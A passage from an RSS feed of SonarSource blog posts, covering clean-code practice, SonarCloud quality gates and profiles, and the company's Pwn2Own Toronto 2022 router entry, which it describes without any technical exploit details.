must also be intentional with maintaining the quality and safety of your code. This is the meaning of ‘clean code in action’ - and you ignore it at your own peril. Building and releasing apps without following clean code practices is irresponsible because you’re effectively transferring operational and security risks to the user.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Clean code in action really means a couple of things depending on the viewpoint:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;First, as an attribute, it’s code that complies with a defined standard of quality, a codebase containing minimal issues;&lt;/li&gt;&lt;li&gt;Second, as a verb, the act of finding and fixing &amp;quot;problems&amp;quot; that make the code non-compliant with the standard of quality.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With this viewpoint, there’s a fitting duality and both can be adopted as the proactive way to keep your codebase fit for its purpose. When writing code, you proactively and intentionally ensure it meets or exceeds the defined standard. In always doing this, your codebase has a cleanliness attribute defined by its exceptional quality.&lt;/p&gt;&lt;h2&gt;A Clean Code Reality&lt;/h2&gt;&lt;p&gt;Shifting to a clean code approach that proactively embraces the quality of your code brings a wealth of benefits across the organization.&lt;/p&gt;&lt;h3&gt;Improved efficiency&lt;/h3&gt;&lt;p&gt;Being proactive with quality means low &lt;a href=&quot;https://www.sonarsource.com/learn/technical-debt/&quot;&gt;technical debt&lt;/a&gt; with developers working on a healthy canvas and solving interesting problems instead of fixing past mistakes.&lt;/p&gt;&lt;h3&gt;Good vibes abound&lt;/h3&gt;&lt;p&gt;Happy developers are productive developers and fixing old issues in the codebase isn’t much fun. A nice side effect of developers owning code quality is the collective sense of pride that comes with it. Imagine ‘selling’ your company to candidates based on having a tidy, clean canvas on which to build the latest, new features!&lt;/p&gt;&lt;h3&gt;Your app lives a long, happy life&lt;/h3&gt;&lt;p&gt;A clean codebase makes it straightforward to add new functionality and ensures it reaches the market when it can make an impact. Imagine no longer having unproductive debates over technical debt and whether a sprint(s) must be devoted just to ‘clean things up’. &lt;/p&gt;&lt;h3&gt;Users get maximum satisfaction&lt;/h3&gt;&lt;p&gt;A clean codebase means operational risk is minimized and users are safe to experience the app as it was intended. Delighted users are the strongest advocates you can acquire.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In reality, a clean codebase benefits &lt;strong&gt;all&lt;/strong&gt; the stakeholders! &lt;/p&gt;&lt;h2&gt;A Clean Code Movement for the Win&lt;/h2&gt;&lt;p&gt;By taking a more holistic approach and being intentional with the quality of software, the global development community can build sustainable apps that delight users and build customer goodwill. You’ve worked hard to satisfy your customer’s needs and developing with clean code ensures you’re able to deliver on that promise both today and long into the future.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Join the clean code movement, be intentional with the quality of your codebase and take pride in delivering software in a sustainable, responsible way. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Thanks for reading and happy, clean, cloud native coding!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Pick a topic to discover more:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/iac_code_quality/&quot;&gt;Clean your Infrastructure Code with Sonar&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/power-of-clean-code/&quot;&gt;The Power of Clean Code&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/sonarqube-9.7-is-here/&quot;&gt;SonarQube 9.7 is here!&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Sonar @ Pwn2Own Toronto 2022]]></title><description><![CDATA[Members of the Sonar Vulnerability Research team remotely participated in Pwn2Own Toronto 2022. This competition is quite special for us: we usually focus on code vulnerabilities in open-source web application projects.]]></description><link>https://www.sonarsource.com/blog/sonar-at-pwn2own-toronto-2022</link><guid isPermaLink="false">ecd4bca0-7b93-5e26-8922-de585262eaa7</guid><dc:creator><![CDATA[Thomas Chauchefoin]]></dc:creator><pubDate>Mon, 12 Dec 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Members of our Vulnerability Research team remotely participated in Pwn2Own Toronto 2022. This competition is quite special for us: we usually focus on code vulnerabilities in open-source web application projects. It&amp;#x27;s a perfect opportunity for our team to look at a broader scope, study different vulnerability types, and challenge ourselves. &lt;/p&gt;&lt;h2&gt;What&amp;#x27;s Pwn2Own?&lt;/h2&gt;&lt;p&gt;This event is organized by the Zero Day Initiative (ZDI), part of Trend Micro. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The goal of this competition is to find and exploit vulnerabilities on devices part of a list announced a few months before, most of the time best-selling electronics like routers, phones, printers, etc. Contestants have to demonstrate exploits for vulnerabilities on fully up-to-date targets in their default configuration by executing arbitrary commands and sometimes starting a light show by taking control of the device&amp;#x27;s LEDs. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It is important to note that vulnerabilities are acquired by ZDI, and later disclosed to the affected vendors; ZDI wants to encourage coordinated disclosure practices and does not redistribute the information they acquired that way. &lt;strong&gt;This point is crucial for us, and our disclosure policy is very similar to the one they enforce. &lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This year is the biggest edition of Pwn2Own so far, with 66 entries by 26 teams; most entries target best-selling IoT devices (i.e., routers, NAS), with only a few notable exceptions like the Samsung Galaxy S22 and the Sonos One Speaker. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Routers are a special category, as competitors can demonstrate attacks via two distinct vectors: LAN-side, from the local network, or WAN-side, directly connected to the upstream ethernet port. It can lead to very impressive vulnerabilities, where the attacker only needs the public IP address of the router to compromise over the Internet! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you want to learn more about this event through words from previous winners, we recommend &lt;a href=&quot;https://podcasts.apple.com/lb/podcast/0x0d-amat-cama-gagner-la-pwn2own-avec-fluoroacetate/id1548697084&quot;&gt;Amat Cama&amp;#x27;s interview on Hack&amp;#x27;nSpeak&lt;/a&gt; (in French) and &lt;a href=&quot;https://podcasts.apple.com/us/podcast/charlie-miller-on-hacking-iphones-macbooks-jeep-and/id1414525622&quot;&gt;Charlie Miller&amp;#x27;s on Security Conversations&lt;/a&gt;. &lt;/p&gt;&lt;h2&gt;Our entries…&lt;/h2&gt;&lt;p&gt;We chose to work on four devices and discovered a total of 4 valid entries:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;1 x WAN-side on the Synology RT6600ax&lt;/li&gt;&lt;li&gt;1 x WAN-side on the NETGEAR RAX30&lt;/li&gt;&lt;li&gt;2 x LAN-side on the NETGEAR RAX30&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, days only before the end of the registration period, NETGEAR released a new version of their firmware. This update patched many vulnerabilities; in our case, we couldn&amp;#x27;t exploit our LAN-side and WAN-side vulnerabilities. That doesn&amp;#x27;t mean they were all fixed, sometimes they applied only temporary workarounds, and we&amp;#x27;ll work with the vendor to ensure they are aware of all our findings. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As it appears that these routers do not automatically apply updates, &lt;strong&gt;we strongly recommend updating your device if you have one at home&lt;/strong&gt;. We highly recommend STAR Labs&amp;#x27; analysis if you want &lt;a href=&quot;https://starlabs.sg/blog/2022/12-the-last-breath-of-our-netgear-rax30-bugs-a-tragic-tale-before-pwn2own-toronto-2022/&quot;&gt;to read more about the vulnerabilities patched in the latest firmware update&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;These last-minute patches are now fairly common during Pwn2Own. We are, however, afraid that such practices are not suitable for customers as vendors withhold security releases until the very last minute.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Meanwhile, we registered our Synology entry for the competition. On December 5th, organizers &lt;a href=&quot;https://www.youtube.com/watch?v=Yl6zeKqtfbM&quot;&gt;live-streamed&lt;/a&gt; the random drawing to determine the order of attempts. This is a crucial step, as an entry will be deemed valid only if no other contestant has leveraged the same vulnerability before. And… we were picked last of the whole event, with two other contestants presenting findings on the same device before us.&lt;/p&gt;&lt;h2&gt;…Our entry&lt;/h2&gt;&lt;p&gt;We demonstrated our vulnerability on December 9 at 20:30 and we successfully took control of the Synology RT6600ax on the WAN interface!&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/7a053714-2a75-4139-bd45-1610a423e359/Sonar%20Pwn2Own%20Toronto%202022_1.jpg&quot; /&gt;&lt;p&gt;Unfortunately for us, other contestants already used the same vulnerability earlier in the contest. We already guessed it as ZDI made the following announcement on December 7 and the bug class involved in our submission was similar:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/0a0e3004-cf60-4721-8051-37a9e97c6f30/Sonar%20Pwn2Own%20Toronto%202022_2.jpg&quot; /&gt;&lt;p&gt;What we demonstrated is still a valid entry, and we are proud to have been able to make it happen despite all the hurdles on the way.&lt;/p&gt;&lt;h2&gt;Closing words&lt;/h2&gt;&lt;p&gt;We would like to thank all Zero Day Initiative organizers for their flexibility and help in making our remote attempt run smoothly. Other teams demonstrated very impressive findings, and the Taiwanese team DEVCORE was crowned Master of Pwn for their successful entries. On our side, we had fun doing our research and hope to participate again next year! &lt;strong&gt;The vulnerability is now in Synology&amp;#x27;s hands and should be patched within the next 90 days.&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Looking back at the early patches and our research, we can&amp;#x27;t help but notice the security of end-user routers (and, in general, IoT devices) still lacks most security best practices. Such events help raise awareness of the importance of secure development &lt;a href=&quot;https://www.sonarsource.com/solutions/our-unique-approach/&quot;&gt;as soon as possible in the software development lifecycle&lt;/a&gt;. &lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/bits-from-hexacon-2022/&quot;&gt;Bits from Hexacon 2022&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/vulnerability-research-highlights-2021/&quot;&gt;Vulnerability Research Highlights 2021&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/blackhat-usa-2022/&quot;&gt;Top 3 takeaways from BlackHat USA 2022&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[How to enable your development team to deliver Clean Code?]]></title><description><![CDATA[Regardless of the company we work for, the project we contribute to, or our years of experience as individual developers or as a team, we inevitably make mistakes while coding. On average, a development team generates about 15 to 50 errors per 1,000 lines of delivered code.]]></description><link>https://www.sonarsource.com/blog/how-to-enable-your-development-team-to-deliver-clean-code</link><guid isPermaLink="false">341807ae-e42c-5171-ae85-cfc90e8777b3</guid><dc:creator><![CDATA[Thomas Olivier]]></dc:creator><pubDate>Thu, 08 Dec 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Regardless of the company we work for, the project we contribute to, or our years of experience as individual developers or as a team, we inevitably make mistakes while coding. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On average, a development team generates about 15 to 50 errors per 1,000 lines of delivered code, according to Steve McConnell in his book Code Complete. Some of these errors make their way through the development workflow and &lt;a href=&quot;https://blog.sonarsource.com/bad-code-costs-more-than-just-your-money/&quot;&gt;can cost a lot of time and money to fix&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On rare occasions, these errors can even impact your credibility as a developer, as a team, or as a company. A Clean Code solution will help prevent this! In fact, it will do way more than that.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Two months ago, I presented &lt;a href=&quot;https://www.sonarsource.com/blog/five-sonarcloud-features-for-developers-that-want-clean/&quot;&gt;five features for developers that want Clean Code&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this blog, I&amp;#x27;m going to focus on key features that make SonarCloud the perfect tool for development teams to deliver Clean Code. I&amp;#x27;m going to cover what a Clean Code solution does, how it helps disseminate the right Clean Code practices among the team members, and how it ensures alignment with coding standards.&lt;/p&gt;&lt;h2&gt;What does a Clean Code solution do?&lt;/h2&gt;&lt;p&gt;For a long time, code quality was the responsibility of auditors. They would look at the code long after it was written, identify problems, and report a long list of issues to be fixed. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Developers would then have to dedicate time to remediate these code flaws, which would take them away from innovating. Fifteen years ago, Sonar took a radically different direction in its approach to Clean Code. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The company was created from the strong belief that only developers can have a significant impact on the quality of code. By allowing them to analyze code early in the development workflow, developers would be able to own the quality of their code and save precious time and effort spent remediating issues when they are discovered too late. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is how Sonar was born.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;How will a Clean Code solution like Sonar empower the developers in your team? At a primary level, by delivering the right information at the right place and time:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The &lt;em&gt;right information&lt;/em&gt; is &lt;strong&gt;&lt;em&gt;comprehensive code feedback&lt;/em&gt;&lt;/strong&gt;. This feedback covers all languages and technologies, relies on thousands of coding rules, and touches on all code attributes. At Sonar, we believe Clean Code is secure, maintainable, reliable, portable, sustainable, and safe.&lt;/li&gt;&lt;li&gt;The &lt;em&gt;right place&lt;/em&gt; is &lt;strong&gt;&lt;em&gt;the developer&amp;#x27;s environment&lt;/em&gt;&lt;/strong&gt;, whether it&amp;#x27;s in the IDE or in the DevOps Platform upon pull request opening. A  solution like Sonar provides feedback where developers work so that they don&amp;#x27;t have to switch contexts.&lt;/li&gt;&lt;li&gt;The &lt;em&gt;right time&lt;/em&gt; means &lt;strong&gt;&lt;em&gt;instant feedback&lt;/em&gt;&lt;/strong&gt;. In the IDE, by highlighting code issues on the fly as you&amp;#x27;re writing code; in the DevOps Platform, by decorating pull requests in seconds.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;More than just providing feedback on pull requests, a Clean Code solution like Sonar provides full visibility of the evolution of the quality of a project, with key metrics for your team to review. But it does way more than that. In the next section, we’re going to explore how it helps development teams enforce Clean Code practices and deliver code that adheres to high coding standards.&lt;/p&gt;&lt;h2&gt;How to enforce Clean Code practices within your team?&lt;/h2&gt;&lt;p&gt;If when you think about a Clean Code solution, you instantly imagine yourself drowning in an ocean of code alerts and issues to fix, then read on. The time for long, painful hardening sprints focused solely on &lt;a href=&quot;https://www.sonarsource.com/learn/technical-debt/&quot;&gt;technical debt&lt;/a&gt; is over. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A tool like SonarCloud isn&amp;#x27;t just a way to systematically detect and report issues; it also implements a killer built-in methodology that will change how your team cleans code and thinks about it. Introducing Clean as You Code!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Instead of dedicating weeks - even months in some cases, to address the poor quality of a project, the &lt;a href=&quot;https://www.sonarsource.com/solutions/our-unique-approach/&quot;&gt;Clean as You Code methodology&lt;/a&gt; helps development teams do it in an incremental way. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sounds promising? &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By helping developers own the quality of the code they write today, the Clean as You Code methodology helps ensure that no critical issue gets added to the code base. Moreover, in the process of writing new code, a developer will most likely touch old code that will get analyzed and cleaned, so the overall quality of the code base will progressively improve after every commit. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Every year, about 20% of the code base gets changed.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The Clean as You Code methodology relies on two core principles:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Set up a quality gate on new code (see next section). Then, every pull request gets analyzed and receives a quality gate status that informs the developer of the quality of this new code. If it&amp;#x27;s green, it means you can merge. If it&amp;#x27;s red, you must fix the critical issues first.&lt;/li&gt;&lt;li&gt;Don&amp;#x27;t merge unless the quality gate is green. This way, you ensure no developer in your team will add any critical issues to the code base.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;More than a methodology, Clean as You Code really is a practice your team should adopt. Once the decision is made and relayed to the team to strictly respect the two core principles of the methodology, your team will be on the right path to success with Clean Code. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Clean as You Code empowers your teammates to own the quality of their code. By using SonarCloud every day, they will merge code that&amp;#x27;s clean and the quality of the code base will progressively improve. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By following the Clean as You Code practice, it will get easier to work with your code, faster to implement new features, so productivity will improve and the morale of your team will be positively impacted in parallel.&lt;/p&gt;&lt;h2&gt;How to align the team on coding standards?&lt;/h2&gt;&lt;p&gt;Adding a &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;Clean Code solution&lt;/a&gt; to your development workflow represents an opportunity for a development team to align on coding standards. Most of the time, without such a solution, developers will apply the fruits of their extensive knowledge to their code, which relies on many factors, such as their level of experience with the language. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When your team starts using SonarCloud, questions arise when issues are uncovered, and discussions about coding standards start to happen naturally. It&amp;#x27;s a healthy process for every team that leads to defining your own standards. Sometimes, that also means adjusting the quality gate or the quality profile.&lt;/p&gt;&lt;h3&gt;&lt;em&gt;Configuring your Quality Gate&lt;/em&gt;&lt;/h3&gt;&lt;p&gt;The quality gate is key for the implementation of the Clean as You Code methodology. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It&amp;#x27;s a set of conditions for your code to meet. Otherwise, your CI/CD pipeline automatically fails. By default, every SonarCloud organization comes with the built-in Sonar way quality gate and is assigned to all new projects. &lt;br/&gt;&lt;/p&gt;&lt;p&gt;The Sonar way quality gate places a minimum requirement of an A rating on Reliability, Security, and Maintainability, a minimum requirement of 50% coverage, and a maximum of 3% duplicated lines of code. This is applied to &lt;em&gt;new code only&lt;/em&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There are no conditions on the overall code. This quality gate represents our view of the best way to implement the Clean as You Code methodology. The quality gate can be entirely customized. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Your team can decide to add, remove or adjust any of the conditions (including adding some on the overall code). &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We recommend modifying your quality gate carefully considering how fundamental it is for the Clean as You Code methodology. For more information about how to set your own Quality Gate, please visit our &lt;a href=&quot;https://docs.sonarcloud.io/standards/managing-quality-gates/&quot;&gt;documentation page on Managing Quality Gates&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;&lt;em&gt;Configuring your Quality Profile&lt;/em&gt;&lt;/h3&gt;&lt;p&gt;Quality profiles are a key part of the SonarCloud configuration. They define the set of rules to be applied during our code analysis. They rely on thousands of &lt;a href=&quot;https://rules.sonarsource.com/&quot;&gt;coding rules&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Same as with the quality gate, by default, every organization comes with one quality profile for each programming language that SonarCloud supports. This built-in profile is also set as the default that will be used in all new projects. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But you can create a new quality profile for a given language. For more information about how to set your own Quality Profile, please visit our &lt;a href=&quot;https://docs.sonarcloud.io/standards/managing-quality-profiles/&quot;&gt;documentation page on Managing Quality Profiles&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarCloud analysis can also be extended through the &lt;a href=&quot;https://sonarcloud.io/web_api&quot;&gt;web API&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;What are you waiting for? Onboard your team to SonarCloud now!&lt;/h2&gt;&lt;p&gt;In the end, SonarCloud will &lt;a href=&quot;https://www.sonarsource.com/solutions/for-teams/&quot;&gt;unite your team&lt;/a&gt; around the goal of delivering clean code. By leveraging the Clean as You Code methodology, developers will own the quality of their code and stay focused on building new features rather than on de-bugging old ones. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Each member of your team will take pride in the quality of their code, and the team as a whole will deliver quality releases. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Are you ready to onboard your team? It&amp;#x27;s pretty simple. Sign-up &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/signup/&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For GitHub users, upon organization import, the members and permissions will automatically be synchronized with SonarCloud. So when an organization member connects to SonarCloud for the first time, they will be automatically added to the SonarCloud organization. For the three other supported DevOps Platforms, your teammates will first have to create a SonarCloud account before you can manually add them to your SonarCloud organization. For more information on how to proceed, visit our &lt;a href=&quot;https://docs.sonarcloud.io/organizations/managing-members/&quot;&gt;documentation page on Managing members&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you have any questions or if you encounter a problem, please go to our &lt;a href=&quot;https://community.sonarsource.com/c/sc/9&quot;&gt;Community Forum&lt;/a&gt;. We&amp;#x27;ll be more than happy to get you and your team up and running.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;--&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Pick a topic to discover more&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/five-sonarcloud-features-for-developers-that-want-clean/&quot;&gt;Five SonarCloud features for developers that want Clean Code&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/clean-as-you-code/&quot;&gt;Clean as You Code: How to win at Code Quality without even trying&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/clean_coding-quality_profile_quality_gate_guidance/&quot;&gt;Clean As You Code essentials - What are Quality Profiles and Quality Gates?&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Scaling Clean Code Across the Enterprise]]></title><description><![CDATA[Code is at the core of your software and dictates its behavior and performance. Clean code makes it easier for your development teams to introduce changes and enhancements to software because it is free of issues.]]></description><link>https://www.sonarsource.com/blog/what-tools-do-you-need</link><guid isPermaLink="false">7adc057a-aed4-5a38-8192-c9f1c23be57d</guid><dc:creator><![CDATA[Bruce Herbert]]></dc:creator><pubDate>Tue, 06 Dec 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Code is at the core of your software and dictates its behavior and performance. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;Clean code&lt;/a&gt; makes it easier for your development teams to introduce changes and enhancements to software because it is free of issues. No time is wasted reworking tangled or rigid code that is costly and disruptive to your business.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Clean code helps ensure that your software continues to be an asset—not a liability—and is a key driver for your business success. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A true &lt;strong&gt;clean code solution&lt;/strong&gt; for software development is &lt;a href=&quot;https://www.sonarsource.com/solutions/maintainability/&quot;&gt;maintainable&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/solutions/reliability/&quot;&gt;reliable&lt;/a&gt;, and &lt;a href=&quot;https://www.sonarsource.com/solutions/security/&quot;&gt;secure&lt;/a&gt;. But what tools enable you to implement a clean code standard that can scale across your enterprise? This blog takes a closer look at some of those tools.&lt;/p&gt;&lt;h2&gt;Quality Profiles&lt;/h2&gt;&lt;p&gt;Quality profiles are a key part of your software development project configuration. They define the set of rules to be applied during code analysis.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/551febc5-5b46-4a8a-ba51-7228b4490f66/Scaling%20Clean%20Code%20Across%20the%20Enterprise_1.png&quot; /&gt;&lt;p&gt;Every project has a quality profile set for each supported language. When a project is analyzed, you should be able to determine which languages are used and use the active quality profile for each of those languages in that specific project.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Built-in and default profiles&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sonar comes with a built-in quality profile defined for each supported language, called the &lt;strong&gt;Sonar way&lt;/strong&gt; profile. The Sonar way activates a set of rules that should be applicable to most projects – it represents Sonar’s recommendations and it is updated in every release to include new rules.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In a newly set up instance, the Sonar way profile is the default for every language. The default profile is used for that language if no other profile is explicitly defined at the project level. The default profile for a given language can be changed.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Customizing a quality profile&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The Sonar way profile is designed to be broadly suitable for most projects, but it is intended only as a starting point. In most cases, you will want to adjust your profile as your organization’s usage of Sonar progresses.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you have multiple projects, you might also need to have different profiles for each. You might run into the following situations:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;You have different technical requirements from one project to another.&lt;/li&gt;&lt;li&gt;You want to ensure stronger requirements for some of your projects than for others.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A couple of important points that should be noted regarding customizing Quality Profiles:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Make sure you revisit customized Quality Profiles periodically, especially after upgrades to include new rules and eliminate deprecated rules.&lt;/li&gt;&lt;li&gt;Keep the number of Quality Profiles at a minimum so that you don&amp;#x27;t end up in a situation where every project is following a different set of rules, i.e., consistency across the organization.&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Quality Gates&lt;/h2&gt;&lt;p&gt;Quality Gates enforce a quality policy in your organization by answering one question: is my project ready for release?&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ca4c3413-0731-44c3-9065-27569574beaf/Scaling%20Clean%20Code%20Across%20the%20Enterprise_2.png&quot; /&gt;&lt;p&gt;To answer this question, you define a set of conditions against which projects are measured. For example:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;No new blocker issues&lt;/li&gt;&lt;li&gt;Code coverage on new code greater than 80%&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Ideally, all projects will use the same Quality Gate, but that&amp;#x27;s not always practical. For instance, you may find that:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Technological implementation differs from one application to another (you might not require the same code coverage on new code for Web or Java applications).&lt;/li&gt;&lt;li&gt;You want to ensure stronger requirements on some of your applications (internal frameworks for example).&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You can define and manage as many Quality Gates as you need, and as a result, you can refocus Quality Gate conditions on issues that should be fixed immediately.&lt;/p&gt;&lt;h2&gt;Notifications&lt;/h2&gt;&lt;p&gt;Thanks to the Sonar notification mechanism, you can be notified when a Quality Gate fails. Simply subscribe to the new quality gate status notification for all projects or a set of projects you&amp;#x27;re interested in. There are a few ways to get notified of a Quality Gate failure but the most common is email.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At the end of each analysis, notifications are computed for each subscribed user. Then, asynchronously, these notifications are sent via email.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Only users who subscribe themselves will get notifications. If you believe a user should be receiving notifications, then it may be time to practice the gentle art of persuasion.&lt;/p&gt;&lt;h2&gt;Enterprise Reporting&lt;/h2&gt;&lt;p&gt;Careful project planning and collaboration between development team members are key factors that make software development projects advance. It is important that your developers align their team on a shared definition of code health for their code analysis. &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/621f85a9-25f3-4e57-9fc4-7b03f93dcdcb/Scaling%20Clean%20Code%20Across%20the%20Enterprise_3.png&quot; 